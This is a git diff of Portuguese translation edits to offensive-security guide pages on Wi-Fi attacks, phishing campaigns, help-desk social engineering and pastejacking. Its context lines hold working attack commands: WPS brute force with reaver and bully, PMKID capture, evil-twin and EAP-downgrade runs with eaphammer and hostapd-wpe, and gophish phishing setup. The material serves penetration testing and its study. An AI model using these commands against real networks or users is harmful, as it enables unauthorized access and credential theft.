Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes fazendo-os acreditar que são da rede legítima, permitindo que atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede.
|
||||
|
||||
**Desautenticação usando Aireplay-ng**
|
||||
```
|
||||
@ -153,7 +153,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**MODO DE ATAQUE p: Probing de SSID e Bruteforcing**
|
||||
|
||||
Probing de Pontos de Acesso (APs) verifica se um SSID está devidamente revelado e confirma o alcance do AP. Esta técnica, combinada com **bruteforcing de SSIDs ocultos** com ou sem uma lista de palavras, ajuda a identificar e acessar redes ocultas.
|
||||
Probing de Access Points (APs) verifica se um SSID está devidamente revelado e confirma o alcance do AP. Esta técnica, combinada com **bruteforcing de SSIDs ocultos** com ou sem uma lista de palavras, ajuda a identificar e acessar redes ocultas.
|
||||
|
||||
**MODO DE ATAQUE m: Exploração de Contramedidas de Michael**
|
||||
|
||||
@ -181,9 +181,9 @@ Conectar clientes a múltiplos nós WDS ou APs falsos pode manipular Sistemas de
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**MODO DE ATAQUE f: Packet Fuzzer**
|
||||
**MODO DE ATAQUE f: Fuzzing de Pacotes**
|
||||
|
||||
Um packet fuzzer com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes.
|
||||
Um fuzzer de pacotes com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes.
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
@ -195,7 +195,7 @@ _**Airgeddon**_ oferece a maioria dos ataques propostos nos comentários anterio
|
||||
|
||||
WPS (Wi-Fi Protected Setup) simplifica o processo de conexão de dispositivos a um roteador, aumentando a velocidade e a facilidade de configuração para redes criptografadas com **WPA** ou **WPA2** Pessoal. É ineficaz para a segurança WEP, que é facilmente comprometida. O WPS utiliza um PIN de 8 dígitos, validado em duas metades, tornando-o suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades).
|
||||
|
||||
### WPS Bruteforce
|
||||
### Força Bruta WPS
|
||||
|
||||
Existem 2 ferramentas principais para realizar essa ação: Reaver e Bully.
|
||||
|
||||
@ -204,7 +204,7 @@ Existem 2 ferramentas principais para realizar essa ação: Reaver e Bully.
|
||||
|
||||
O ataque explora a **vulnerabilidade do PIN WPS**, particularmente sua exposição dos primeiros quatro dígitos e o papel do último dígito como um checksum, facilitando o ataque de força bruta. No entanto, defesas contra ataques de força bruta, como **bloquear endereços MAC** de atacantes agressivos, exigem **rotação de endereços MAC** para continuar o ataque.
|
||||
|
||||
Após obter o PIN WPS com ferramentas como Bully ou Reaver, o atacante pode deduzir o WPA/WPA2 PSK, garantindo **acesso persistente à rede**.
|
||||
Após obter o PIN WPS com ferramentas como Bully ou Reaver, o atacante pode deduzir o PSK WPA/WPA2, garantindo **acesso persistente à rede**.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
@ -271,7 +271,7 @@ PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
Dado que o "Nome PMK" é constante, sabemos o BSSID do AP e da estação, e o `PMK` é idêntico ao de um handshake completo de 4 vias, **hashcat** pode usar essas informações para quebrar o PSK e recuperar a senha!
|
||||
|
||||
Para **coletar** essas informações e **bruteforçar** localmente a senha, você pode fazer:
|
||||
Para **coletar** essas informações e **bruteforce** localmente a senha, você pode fazer:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
airmon-ng start wlan0
|
||||
@ -353,7 +353,7 @@ Em **configurações de WiFi empresarial, você encontrará vários métodos de
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
- Este método suporta tokens de hardware e senhas de uso único dentro do EAP-PEAP. Ao contrário do MSCHAPv2, não utiliza um desafio de par e envia senhas em texto claro para o ponto de acesso, representando um risco para ataques de downgrade.
|
||||
- Este método suporta tokens de hardware e senhas de uso único dentro do EAP-PEAP. Ao contrário do MSCHAPv2, não utiliza um desafio de par e envia senhas em texto claro para o ponto de acesso, apresentando um risco para ataques de downgrade.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
- Envolve o envio do hash MD5 da senha do cliente. **Não é recomendado** devido à vulnerabilidade a ataques de dicionário, falta de autenticação do servidor e incapacidade de gerar chaves WEP específicas para a sessão.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
@ -369,7 +369,7 @@ Você pode encontrar mais informações sobre esses métodos de autenticação [
|
||||
|
||||
### Captura de Nome de Usuário
|
||||
|
||||
Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você estiver usando **EAP**, as **mensagens de "Identidade"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens de **"Resposta de Identidade"**.
|
||||
Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você estiver usando **EAP**, as **mensagens** de **"Identidade"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens de **"Resposta de Identidade"**.
|
||||
|
||||
Mesmo usando um dos métodos de autenticação mais seguros: **PEAP-EAP-TLS**, é possível **capturar o nome de usuário enviado no protocolo EAP**. Para fazer isso, **capture uma comunicação de autenticação** (inicie `airodump-ng` dentro de um canal e `wireshark` na mesma interface) e filtre os pacotes por `eapol`.\
|
||||
Dentro do pacote "**Resposta, Identidade**", o **nome de usuário** do cliente aparecerá.
|
||||
@ -390,7 +390,7 @@ No EAP-PEAP, uma vez que o túnel TLS é estabelecido entre o servidor PEAP e o
|
||||
|
||||
O EAP-TTLS segue um procedimento ligeiramente diferente. Com o EAP-TTLS, o cliente normalmente se autentica usando PAP ou CHAP, protegido pelo túnel TLS. Neste caso, o cliente inclui um atributo User-Name e um atributo Password ou CHAP-Password na mensagem TLS inicial enviada após o estabelecimento do túnel.
|
||||
|
||||
Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável por autenticar o usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada do protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando os atributos User-Name anônimo e TTLS EAP-Message encontrados na solicitação RADIUS de entrada.
|
||||
Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável por autenticar o usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada do protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando o User-Name anônimo e os atributos TTLS EAP-Message encontrados na solicitação RADIUS de entrada.
|
||||
|
||||
Para mais informações, consulte [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
|
||||
@ -414,24 +414,24 @@ Você também pode realizar este ataque usando `eaphammer`:
|
||||
|
||||
- O protocolo 802.11 define como uma estação se junta a um Conjunto de Serviço Estendido (ESS), mas não especifica os critérios para selecionar um ESS ou um ponto de acesso (AP) dentro dele.
|
||||
- As estações podem fazer roaming entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um edifício ou área.
|
||||
- O protocolo requer autenticação da estação ao ESS, mas não exige autenticação do AP para a estação.
|
||||
- O protocolo requer autenticação da estação ao ESS, mas não exige autenticação do AP à estação.
|
||||
|
||||
### Listas de Redes Preferidas (PNLs)
|
||||
|
||||
- As estações armazenam o ESSID de cada rede sem fio à qual se conectam em sua Lista de Redes Preferidas (PNL), juntamente com detalhes de configuração específicos da rede.
|
||||
- A PNL é usada para conectar automaticamente a redes conhecidas, melhorando a experiência do usuário ao simplificar o processo de conexão.
|
||||
|
||||
### Varredura Passiva
|
||||
### Escaneamento Passivo
|
||||
|
||||
- Os APs transmitem periodicamente quadros de beacon, anunciando sua presença e características, incluindo o ESSID do AP, a menos que a transmissão esteja desativada.
|
||||
- Durante a varredura passiva, as estações escutam os quadros de beacon. Se o ESSID de um beacon corresponder a uma entrada na PNL da estação, a estação pode se conectar automaticamente a esse AP.
|
||||
- Os APs periodicamente transmitem quadros de beacon, anunciando sua presença e características, incluindo o ESSID do AP, a menos que a transmissão esteja desativada.
|
||||
- Durante o escaneamento passivo, as estações escutam os quadros de beacon. Se o ESSID de um beacon corresponder a uma entrada na PNL da estação, a estação pode se conectar automaticamente a esse AP.
|
||||
- O conhecimento da PNL de um dispositivo permite uma possível exploração ao imitar o ESSID de uma rede conhecida, enganando o dispositivo para se conectar a um AP malicioso.
|
||||
|
||||
### Probing Ativo
|
||||
|
||||
- O probing ativo envolve estações enviando solicitações de probe para descobrir APs próximos e suas características.
|
||||
- Solicitações de probe direcionadas visam um ESSID específico, ajudando a detectar se uma rede particular está ao alcance, mesmo que seja uma rede oculta.
|
||||
- Solicitações de probe de broadcast têm um campo SSID nulo e são enviadas para todos os APs próximos, permitindo que a estação verifique qualquer rede preferida sem divulgar o conteúdo de sua PNL.
|
||||
- Solicitações de probe de broadcast têm um campo SSID nulo e são enviadas a todos os APs próximos, permitindo que a estação verifique qualquer rede preferida sem divulgar o conteúdo de sua PNL.
|
||||
|
||||
## AP Simples com redirecionamento para a Internet
|
||||
|
||||
@ -460,7 +460,7 @@ Então **defina IPs** e **rotas**:
|
||||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||||
```
|
||||
E então **inicie** dnsmasq:
|
||||
E então **inicie** o dnsmasq:
|
||||
```bash
|
||||
dnsmasq -C dnsmasq.conf -d
|
||||
```
|
||||
@ -519,9 +519,9 @@ Ou usando Airgeddon: `Options: 5,6,7,8,9 (dentro do menu de ataque Evil Twin).`
|
||||
|
||||
.png>)
|
||||
|
||||
Por favor, note que por padrão, se um ESSID no PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você pode DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método, você não poderá fazer a vítima se conectar a você, pois não conhece o PSK, mas pode capturar o handshake e tentar quebrá-lo).
|
||||
Por favor, note que por padrão, se um ESSID no PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você pode DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método, você não poderá fazer a vítima se conectar a você, pois não sabe o PSK, mas pode capturar o handshake e tentar quebrá-lo).
|
||||
|
||||
_Alguns sistemas operacionais e antivírus avisarão o usuário que se conectar a uma rede aberta é perigoso..._
|
||||
_Alguns sistemas operacionais e antivírus avisarão o usuário que conectar-se a uma rede aberta é perigoso..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
@ -540,7 +540,7 @@ Para entender esses ataques, eu recomendaria ler antes a breve [explicação do
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
No arquivo de configuração, você pode selecionar muitas coisas diferentes, como ssid, canal, arquivos de usuário, cret/key, parâmetros dh, versão wpa e autenticação...
|
||||
No arquivo de configuração, você pode selecionar muitas coisas diferentes, como ssid, canal, arquivos de usuário, cret/key, parâmetros dh, versão wpa e auth...
|
||||
|
||||
[**Usando hostapd-wpe com EAP-TLS para permitir que qualquer certificado faça login.**](evil-twin-eap-tls.md)
|
||||
|
||||
@ -552,7 +552,7 @@ No arquivo de configuração, você pode selecionar muitas coisas diferentes, co
|
||||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto claro e, em seguida, o uso de métodos de autenticação mais robustos):
|
||||
Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto simples e, em seguida, o uso de métodos de autenticação mais robustos):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
@ -562,7 +562,7 @@ Esta é a metodologia padrão para evitar longos tempos de conexão. No entanto,
|
||||
```
|
||||
Ou você também pode usar:
|
||||
|
||||
- `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto claro)
|
||||
- `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto simples)
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente os métodos oferecidos (oferecer os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar).
|
||||
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
@ -598,13 +598,13 @@ E veja a nova **aba "Decrypted TLS"**:
|
||||
|
||||
Diferentes tipos de Listas de Filtro de Controle de Acesso à Mídia (MFACLs) e seus modos correspondentes e efeitos no comportamento de um Ponto de Acesso (AP) malicioso:
|
||||
|
||||
1. **Lista Branca baseada em MAC**:
|
||||
1. **Lista Branca Baseada em MAC**:
|
||||
- O AP malicioso responderá apenas a solicitações de sondagem de dispositivos especificados na lista branca, permanecendo invisível a todos os outros não listados.
|
||||
2. **Lista Negra baseada em MAC**:
|
||||
2. **Lista Negra Baseada em MAC**:
|
||||
- O AP malicioso ignorará solicitações de sondagem de dispositivos na lista negra, tornando efetivamente o AP malicioso invisível para esses dispositivos específicos.
|
||||
3. **Lista Branca baseada em SSID**:
|
||||
3. **Lista Branca Baseada em SSID**:
|
||||
- O AP malicioso responderá a solicitações de sondagem apenas para ESSIDs específicos listados, tornando-o invisível para dispositivos cujas Listas de Redes Preferidas (PNLs) não contêm esses ESSIDs.
|
||||
4. **Lista Negra baseada em SSID**:
|
||||
4. **Lista Negra Baseada em SSID**:
|
||||
- O AP malicioso não responderá a solicitações de sondagem para os ESSIDs específicos na lista negra, tornando-o invisível para dispositivos que buscam essas redes particulares.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
@ -645,9 +645,9 @@ Um **ataque Loud MANA** é uma estratégia avançada para quando os dispositivos
|
||||
```
|
||||
### Known Beacon attack
|
||||
|
||||
Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma wordlist. Isso simula a presença de numerosas redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos.
|
||||
Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma lista de palavras. Isso simula a presença de inúmeras redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos.
|
||||
|
||||
Eaphammer implementou este ataque como um MANA attack onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
|
||||
O Eaphammer implementou este ataque como um MANA attack onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
@ -691,6 +691,6 @@ Esses métodos, particularmente a entrada de PIN, são suscetíveis às mesmas v
|
||||
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
||||
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
|
||||
TODO: Dê uma olhada em [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login com facebook e imitação de WPA em portals cativos)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -24,19 +24,19 @@
|
||||
- **Palavra-chave**: O nome do domínio **contém** uma **palavra-chave** importante do domínio original (por exemplo, zelster.com-management.com).
|
||||
- **subdomínio hifenizado**: Mudar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com).
|
||||
- **Novo TLD**: Mesmo domínio usando um **novo TLD** (por exemplo, zelster.org).
|
||||
- **Homoglyph**: **Substitui** uma letra no nome do domínio por **letras que parecem semelhantes** (por exemplo, zelfser.com).
|
||||
- **Homoglyph**: Ele **substitui** uma letra no nome do domínio por **letras que parecem semelhantes** (por exemplo, zelfser.com).
|
||||
|
||||
{{#ref}}
|
||||
homograph-attacks.md
|
||||
{{#endref}}
|
||||
- **Transposição:** **Troca duas letras** dentro do nome do domínio (por exemplo, zelsetr.com).
|
||||
- **Transposição:** Ele **troca duas letras** dentro do nome do domínio (por exemplo, zelsetr.com).
|
||||
- **Singularização/Pluralização**: Adiciona ou remove “s” no final do nome do domínio (por exemplo, zeltsers.com).
|
||||
- **Omissão**: **Remove uma** das letras do nome do domínio (por exemplo, zelser.com).
|
||||
- **Repetição:** **Repete uma** das letras no nome do domínio (por exemplo, zeltsser.com).
|
||||
- **Substituição**: Como homoglyph, mas menos furtivo. Substitui uma das letras no nome do domínio, talvez por uma letra próxima da letra original no teclado (por exemplo, zektser.com).
|
||||
- **Subdominado**: Introduz um **ponto** dentro do nome do domínio (por exemplo, ze.lster.com).
|
||||
- **Inserção**: **Insere uma letra** no nome do domínio (por exemplo, zerltser.com).
|
||||
- **Ponto ausente**: Anexa o TLD ao nome do domínio. (por exemplo, zelstercom.com)
|
||||
- **Omissão**: Ele **remove uma** das letras do nome do domínio (por exemplo, zelser.com).
|
||||
- **Repetição:** Ele **repete uma** das letras no nome do domínio (por exemplo, zeltsser.com).
|
||||
- **Substituição**: Como homoglyph, mas menos furtivo. Ele substitui uma das letras no nome do domínio, talvez por uma letra próxima da letra original no teclado (por exemplo, zektser.com).
|
||||
- **Subdominado**: Introduzir um **ponto** dentro do nome do domínio (por exemplo, ze.lster.com).
|
||||
- **Inserção**: Ele **insere uma letra** no nome do domínio (por exemplo, zerltser.com).
|
||||
- **Ponto faltando**: Anexar o TLD ao nome do domínio. (por exemplo, zelstercom.com)
|
||||
|
||||
**Ferramentas Automáticas**
|
||||
|
||||
@ -126,7 +126,7 @@ Em seguida, adicione o domínio aos seguintes arquivos:
|
||||
`myhostname = <domain>`\
|
||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||
|
||||
Finalmente, modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o seu nome de domínio e **reinicie seu VPS.**
|
||||
Finalmente, modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o nome do seu domínio e **reinicie seu VPS.**
|
||||
|
||||
Agora, crie um **registro DNS A** de `mail.<domain>` apontando para o **endereço IP** do VPS e um **registro DNS MX** apontando para `mail.<domain>`
|
||||
|
||||
@ -243,7 +243,7 @@ Você pode usar [https://www.spfwizard.net/](https://www.spfwizard.net) para ger
|
||||
|
||||
.png>)
|
||||
|
||||
Este é o conteúdo que deve ser definido dentro de um registro TXT no domínio:
|
||||
Este é o conteúdo que deve ser definido dentro de um registro TXT dentro do domínio:
|
||||
```bash
|
||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
@ -312,7 +312,7 @@ A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se seu
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!TIP]
|
||||
> É recomendado usar a funcionalidade "**Enviar Email de Teste**" para testar se tudo está funcionando.\
|
||||
> É recomendável usar a funcionalidade "**Enviar Email de Teste**" para testar se tudo está funcionando.\
|
||||
> Eu recomendaria **enviar os emails de teste para endereços de 10min** para evitar ser colocado na lista negra durante os testes.
|
||||
|
||||
### Modelo de Email
|
||||
@ -360,7 +360,7 @@ Note que **para aumentar a credibilidade do e-mail**, é recomendado usar alguma
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Normalmente, você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até que goste dos resultados.** Então, escreva esse código HTML na caixa.\
|
||||
> Normalmente, você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até gostar dos resultados.** Então, escreva esse código HTML na caixa.\
|
||||
> Note que se você precisar **usar alguns recursos estáticos** para o HTML (talvez algumas páginas CSS e JS) você pode salvá-los em _**/opt/gophish/static/endpoint**_ e então acessá-los de _**/static/\<filename>**_
|
||||
|
||||
> [!TIP]
|
||||
@ -369,7 +369,7 @@ Note que **para aumentar a credibilidade do e-mail**, é recomendado usar alguma
|
||||
### Usuários & Grupos
|
||||
|
||||
- Defina um nome
|
||||
- **Importe os dados** (note que para usar o modelo para o exemplo você precisa do primeiro nome, sobrenome e endereço de e-mail de cada usuário)
|
||||
- **Importe os dados** (note que para usar o modelo do exemplo você precisa do primeiro nome, sobrenome e endereço de e-mail de cada usuário)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -382,7 +382,7 @@ Note que o **Perfil de Envio permite enviar um e-mail de teste para ver como ser
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10min** para evitar ser colocado na lista negra durante os testes.
|
||||
> Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10 minutos** para evitar ser colocado na lista negra durante os testes.
|
||||
|
||||
Uma vez que tudo esteja pronto, basta lançar a campanha!
|
||||
|
||||
@ -407,7 +407,7 @@ phishing-documents.md
|
||||
|
||||
### Via Proxy MitM
|
||||
|
||||
O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações fornecidas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se o aplicativo que você falsificou estiver configurado com 2FA, **essa informação não permitirá que você se passe pelo usuário enganado**.
|
||||
O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações fornecidas pelo usuário. Infelizmente, se o usuário não inseriu a senha correta ou se o aplicativo que você falsificou está configurado com 2FA, **essa informação não permitirá que você se passe pelo usuário enganado**.
|
||||
|
||||
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permitirá que você gere um ataque do tipo MitM. Basicamente, os ataques funcionam da seguinte maneira:
|
||||
|
||||
@ -426,7 +426,7 @@ Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
Obviamente, uma das melhores maneiras de saber se você foi descoberto é **pesquisar seu domínio em listas negras**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\
|
||||
Uma maneira fácil de verificar se seu domínio aparece em alguma lista negra é usar [https://malwareworld.com/](https://malwareworld.com)
|
||||
|
||||
No entanto, existem outras maneiras de saber se a vítima está **ativamente procurando por atividades de phishing suspeitas na web**, conforme explicado em:
|
||||
No entanto, existem outras maneiras de saber se a vítima está **ativamente procurando por atividades de phishing suspeitas na natureza**, conforme explicado em:
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
@ -463,7 +463,7 @@ Get-MgDirectoryRole | ft DisplayName,Id
|
||||
# Enumerar dispositivos que a conta pode fazer login
|
||||
Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||
```
|
||||
* Movimento lateral com **WMI**, **PsExec**, ou agentes legítimos de **RMM** já autorizados no ambiente.
|
||||
* Movimento lateral com **WMI**, **PsExec** ou agentes legítimos de **RMM** já autorizados no ambiente.
|
||||
|
||||
### Detecção & Mitigação
|
||||
* Trate a recuperação de identidade do help-desk como uma **operação privilegiada** – exija autenticação adicional e aprovação do gerente.
|
||||
@ -471,7 +471,7 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||
* Método de MFA alterado + autenticação de novo dispositivo / geolocalização.
|
||||
* Elevação imediata do mesmo principal (usuário-→-admin).
|
||||
* Grave chamadas do help-desk e exija um **retorno para um número já registrado** antes de qualquer redefinição.
|
||||
* Implemente **Acesso Just-In-Time (JIT) / Privilegiado** para que contas recém-redefinidas **não** herdem automaticamente tokens de alto privilégio.
|
||||
* Implemente **Just-In-Time (JIT) / Acesso Privilegiado** para que contas recém-redefinidas **não** herdem automaticamente tokens de alto privilégio.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Ataques de Hijacking de Clipboard (Pastejacking)
|
||||
# Ataques de Sequestro de Área de Transferência (Pastejacking)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
## Visão Geral
|
||||
|
||||
O hijacking de clipboard – também conhecido como *pastejacking* – explora o fato de que os usuários rotineiramente copiam e colam comandos sem inspecioná-los. Uma página da web maliciosa (ou qualquer contexto capaz de JavaScript, como um aplicativo Electron ou Desktop) coloca programaticamente texto controlado pelo atacante na área de transferência do sistema. As vítimas são incentivadas, normalmente por instruções de engenharia social cuidadosamente elaboradas, a pressionar **Win + R** (diálogo Executar), **Win + X** (Acesso Rápido / PowerShell) ou abrir um terminal e *colar* o conteúdo da área de transferência, executando imediatamente comandos arbitrários.
|
||||
O sequestro de área de transferência – também conhecido como *pastejacking* – explora o fato de que os usuários rotineiramente copiam e colam comandos sem inspecioná-los. Uma página da web maliciosa (ou qualquer contexto capaz de JavaScript, como um aplicativo Electron ou Desktop) insere programaticamente texto controlado pelo atacante na área de transferência do sistema. As vítimas são incentivadas, normalmente por instruções de engenharia social cuidadosamente elaboradas, a pressionar **Win + R** (diálogo Executar), **Win + X** (Acesso Rápido / PowerShell) ou abrir um terminal e *colar* o conteúdo da área de transferência, executando imediatamente comandos arbitrários.
|
||||
|
||||
Porque **nenhum arquivo é baixado e nenhum anexo é aberto**, a técnica contorna a maioria dos controles de segurança de e-mail e conteúdo da web que monitoram anexos, macros ou execução direta de comandos. O ataque é, portanto, popular em campanhas de phishing que entregam famílias de malware comuns, como NetSupport RAT, Latrodectus loader ou Lumma Stealer.
|
||||
